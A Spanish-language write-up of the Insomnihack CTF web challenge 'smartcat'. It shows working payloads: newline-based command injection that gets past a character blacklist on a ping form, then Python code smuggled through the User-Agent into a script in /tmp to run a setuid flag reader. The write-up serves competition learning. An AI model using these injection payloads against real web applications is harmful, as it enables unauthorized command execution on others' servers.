Volvemos a la carga con el primer CTF del año, un Insomnihack muy divertido!
Este writeup explicará cómo resolvimos esta prueba web, que estaba dividida en dos partes.
smartcat1:
Entramos al link y nos encontramos esto:
Una herramienta que nos permite hacer ping. Lo primero que se nos ocurre es inyección de comandos.. y así fue!
Probamos a concatenar comandos de distintas formas pero había una blacklist de caracteres como "&", ";", "(", "$", "{", etc. e incluso espacios.
Probamos pues a meter otra clase de espacios, saltos de línea, hasta que dimos con ello. Modificamos la petición POST y reenviamos:
dest=localhost%0Avdir
total 8
-rwxr-xr-x 1 ubuntu ubuntu 1036 Jan 13 13:18 index.cgi
drwxr-xr-x 3 root root 4096 Jan 13 13:06 there
Vemos el propio código de la página y un curioso directorio "there". Hacemos un find para ver que hay:
dest=localhost%0Afind
.
./index.cgi
./there
./there/is
./there/is/your
./there/is/your/flag
./there/is/your/flag/or
./there/is/your/flag/or/maybe
./there/is/your/flag/or/maybe/not
./there/is/your/flag/or/maybe/not/what
./there/is/your/flag/or/maybe/not/what/do
./there/is/your/flag/or/maybe/not/what/do/you
./there/is/your/flag/or/maybe/not/what/do/you/think
./there/is/your/flag/or/maybe/not/what/do/you/think/really
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag
Y finalmente:
dest=localhost%0Acat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag
INS{warm_kitty_smelly_kitty_flush_flush_flush}
smartcat2:
Parte 2! En esta parte teníamos que movernos a /home/smartcat así que tuvimos que tirar de creatividad :P
Había varias maneras de resolver este reto, nosotros lo enfocamos en buscar otra vía de entrada donde no tuviésemos la restricción de la blacklist.
Una manera de saltárselo, es utilizando un truco que recuerda al viejo método de ejecutar código en un LFI vía /proc/self/environ.
Primero, le echamos un ojo al entorno:
dest=localhost%0Aenv
CONTENT_TYPE=application/x-www-form-urlencoded
HTTP_IF_MODIFIED_SINCE=*
GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=xx.xx.xxx.xx
QUERY_STRING=
HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0
DOCUMENT_ROOT=/var/www/html
REMOTE_PORT=15841
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
SERVER_SIGNATURE=Apache/2.4.7 (Ubuntu) Server at xxxxxx Port 80
CONTENT_LENGTH=13
CONTEXT_DOCUMENT_ROOT=/var/www/cgi-bin/
SCRIPT_FILENAME=/var/www/cgi-bin/index.cgi
HTTP_HOST=xx.xx.xxx.xx
REQUEST_URI=/cgi-bin/index.cgi
SERVER_SOFTWARE=Apache/2.4.7 (Ubuntu)
HTTP_CONNECTION=keep-alive
REQUEST_SCHEME=http
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HTTP_ACCEPT_LANGUAGE=es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
HTTP_REFERER=http://smartcat.insomnihack.ch/cgi-bin/
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip, deflate
SCRIPT_URI=http://smartcat.insomnihack.ch/cgi-bin/index.cgi
SCRIPT_URL=/cgi-bin/index.cgi
REQUEST_METHOD=POST
SERVER_ADDR=xx.xx.xxx.xx
SERVER_ADMIN=webmaster@localhost
CONTEXT_PREFIX=/cgi-bin/
PWD=/var/www/cgi-bin
SERVER_PORT=80
SCRIPT_NAME=/cgi-bin/index.cgi
SERVER_NAME=smartcat.insomnihack.ch
Vemos que printea nuestro User-Agent, con lo cual podremos inyectar en esa variable sin ninguna limitación.
En nuestras primeras pruebas vimos que la web no ejecutaba sh así que decidimos crear un script en python en /tmp donde teníamos permisos de escritura, para más tarde ejecutarlo.
Como necesitamos que no tenga ningun error de sintaxis, hay que escapar el resto de la salida. Para ello, vamos a utilizar las tres comillas simples para cadenas multilínea:
- La primera variable: CONTENT_TYPE='''
- El User-Agent: HTTP_USER_AGENT='''; (codigo python); poc='''
- La última variable: SERVER_NAME='''
CONTENT_TYPE='''
HTTP_IF_MODIFIED_SINCE=*
GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=xx.xx.xxx.xx
QUERY_STRING=
HTTP_USER_AGENT='''; import os; os.system("vdir /home/smartcat"); shit='''
DOCUMENT_ROOT=/var/www/html
REMOTE_PORT=15841
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
SERVER_SIGNATURE=Apache/2.4.7 (Ubuntu) Server at xxxxxx Port 80
CONTENT_LENGTH=13
CONTEXT_DOCUMENT_ROOT=/var/www/cgi-bin/
SCRIPT_FILENAME=/var/www/cgi-bin/index.cgi
HTTP_HOST=xx.xx.xxx.xx
REQUEST_URI=/cgi-bin/index.cgi
SERVER_SOFTWARE=Apache/2.4.7 (Ubuntu)
HTTP_CONNECTION=keep-alive
REQUEST_SCHEME=http
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HTTP_ACCEPT_LANGUAGE=es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
HTTP_REFERER=http://smartcat.insomnihack.ch/cgi-bin/
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip, deflate
SCRIPT_URI=http://smartcat.insomnihack.ch/cgi-bin/index.cgi
SCRIPT_URL=/cgi-bin/index.cgi
REQUEST_METHOD=POST
SERVER_ADDR=xx.xx.xxx.xx
SERVER_ADMIN=webmaster@localhost
CONTEXT_PREFIX=/cgi-bin/
PWD=/var/www/cgi-bin
SERVER_PORT=80
SCRIPT_NAME=/cgi-bin/index.cgi
SERVER_NAME='''
Mientras que con este payload creamos el script en tmp y lo ejecutamos:
dest=localhost%0ACONTENT_TYPE="'''"%0ASERVER_NAME="'''"%0Aenv>/tmp/pwn.py%0Apython
total 16
-rw-r----- 1 root smartcat 337 Jan 15 09:34 flag2
-rwxr-sr-x 1 root smartcat 8951 Jan 15 09:32 readflag
Tenemos la flag pero sin permisos de lectura y un binario readflag con el bit setuid activado, probamos a ejecutarlo:
Almost there... just trying to make sure you can execute arbitrary commands....
Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.
Do not include the quotes. Each part is a different line.
Finalmente, para hacerlo todo desde python, este es nuestro User-Agent:
'''; from subprocess import PIPE, Popen;import time;p=Popen(['/home/smartcat/readflag'],stdin=PIPE);
p.stdin.write("Give me a...\n");time.sleep(2);p.stdin.write("... flag!");shit='''
Hasta el próximo CTF!
xassiz
No hay comentarios